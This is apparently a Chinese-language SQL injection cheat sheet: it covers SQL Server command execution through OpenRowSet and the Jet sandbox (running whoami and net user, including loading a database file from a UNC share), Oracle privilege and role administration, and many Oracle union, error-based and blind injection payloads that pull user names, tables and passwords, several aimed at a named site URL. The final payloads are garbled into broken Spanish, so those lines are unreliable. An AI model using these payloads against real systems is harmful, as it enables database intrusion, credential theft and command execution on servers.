EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1

-- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可.
-- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令.
-- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令.

Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');

Oracle

Oracle权限分类

权限是用户对一项功能的执行权力。在Oracle中,根据系统的管理方式不同,将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。

系统权限管理

系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。

DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构

RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构

CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构

对于普通用户:授予connect,resource权限

对于DBA用户:授予connect,resource,dba权限

-- 系统权限授予命令:
          系统权限只能由DBA用户授出,也就是sys,system(这两个用户是最开始的两个DBA用户)
          授权命令:grant connect, resource, dba to username1 , username2...;
          普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收
          回收授权命令:revoke connect, resource, dba from system;

-- 查询用户拥有那些权限:
          select * from dba_role_privs;
          select * from dba_sys_privs;
          select * from role_sys_privs;

-- 查询自己拥有那些系统权限
          select * from session_privs;
         
-- 删除用户
          drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除
         
-- 系统权限传递
          增加 WITH ADMIN OPTION 选项,则得到的权限可以传递。
          grant connect, resorce to user50 with admin option;
         
-- 系统权限回收,只能由DBA用户回收
          revoke connect, resource, dba from system;
         
-- 说明
          1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
          2. 系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。

实体权限管理

实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

select, update, insert, alter, index, delete, all //all 包括所有权限

execute // 执行存储过程权限

-- 授权用户表操作
          grant select, update, insert on product to user02;
          grant all on product to user02;
          上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户
         
-- 授予全部用户表的操作权限
          grant all on product to public; # all不包括 drop 权限
         
-- 实体权限传递
          grant select, update on product to user02 with grant option;
          user02得到权限,并可以传递。
         
-- 实体权限的回收
          Revoke select, update on product from user02;
          传递的权限将全部消失

-- 说明
          1. 如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。

角色管理

-- 建立一个角色
          create role role1;
         
-- 为角色授权
          grant create any table,create procedure to role1;
         
-- 授权角色给用户
          grant role1 to user1;
         
-- 查看角色所包含的权限
          select * from role_sys_privs;
         
-- 创建带有口令的角色(在生效带有口令的角色时必须提供口令)
          create role role1 identified by password1;
         
-- 修改角色,设置是否需要口令
          alter role role1 not identified;
          alter role role1 identified by password1;

-- 设置当前用户要生效的角色
          角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。
          set role role1; # 使role1生效
          set role role,role2; # 使role1,role2生效
          set role role1 identified by password1; # 使用带有口令的role1生效
          set role all; # 使用该用户的所有角色生效
          set role none; # 设置所有角色失效
          set role all except role1; # 除role1外的该用户的所有其它角色生效。
          select * from SESSION_ROLES; # 查看当前用户的生效的角色。
         
-- 修改指定用户,设置其默认角色
          alter user user1 default role role1;
          alter user user1 default role all except role1;
         
-- 删除角色
          drop role role1;
          角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。
         
-- 说明
          1. 无法使用WITH GRANT OPTION为角色授予对象权限
          2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联

PL/SQL语言

PL/SQL 也是一种程序语言,叫做过程化 SQL 语言(Procedual Language/SQL)。

PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点,所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代,作为 SQL 程序扩展语言和 Oracle 关系数据库开发。

基本结构如下:

DECLARE
   
BEGIN
   
EXCEPTION
   
END;

SQL 注入需注意的规则

Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录。

Oracle 的数据库类型是强匹配,所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 NULL 代替某些无法快速猜测出的数据类型位置,这一点和 SQL Server 类似。

Oracle 和 mysql 不一样,分页中没有 limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0

Oracle 的单行注释符号是 --,多行注释符号 /**/

Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。

Oracle 使用 || 拼接字符串(在 URL 中使用编码 %7c 表示),concat() 函数也可以实现两个字符串的拼接

联合查询注入

Payload空格有问题,可以放在vscode中查看

# 判断注入点
所有数据库方式都一样

# 判断列数
依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。
?id=1 order by 3 --+
?id=1 order by 4 --+

# 判断回显点
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+

# 获取数据库基本信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+

# 获取数据库名,即用户名
Oracle 没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。
1. 获取第一个用户名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 获取第二个用户名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
      
3. 获取当前用户名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+

# 获取表名
1. 获取Test用户第一张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 获取Test用户第二张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+

# 获取字段名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+

# 获取数据
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+

报错注入

在 oracle 注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL 仅使用函数报错即可),类似 mssql 报错注入的方式。

utl_inaddr.get_host_name ()

utl_inaddr.get_host_address 本意是获取 ip 地址,但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。

我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。

# 获取用户名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+

# 获取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+

# 获取字段名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+

# 获取数据
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

ctxsys.drithsx.sn ()

# 获取用户名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+

# 获取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+

# 获取字段名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+

# 获取数据
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

dbms_xdb_version.checkin ()

# 获取用户名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.makeversioned ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.uncheckout ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_utility.sqlid_to_sqlhash ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

ordsys.ord_dicom.getmappingxpath ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

XMLType ()

# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+

# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+

# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+

# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+

布尔型盲注

decode()

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值 1 时,该函数返回值 2,否则返回值3,当然值 1,值 2,值 3 也可以是表达式,这个函数使得某些 sql 语句简单了许多

# 判断是否是TEST用户
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+

# 猜解当前用户
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+

# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+

# 猜解字段名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+

# 猜解数据
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+

instr ()

instr 函数的使用,从一个字符串中查找指定子串的位置

select instr('123456789','12') position from dual;

imagen


可以使用该函数按位爆破,该函数返回是从1开始

?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+

substr()

这个就和mysql 基本一致

# Adivina la longitud de los datos ? id = 1 y ( seleccione la longitud ( usuario ) de dual) = 3 --+

# ASCII voladura bit a bit ? id = 1 y ( seleccione ascii ( substr ( usuario , 1 , 1 )) de dual) = 65 --+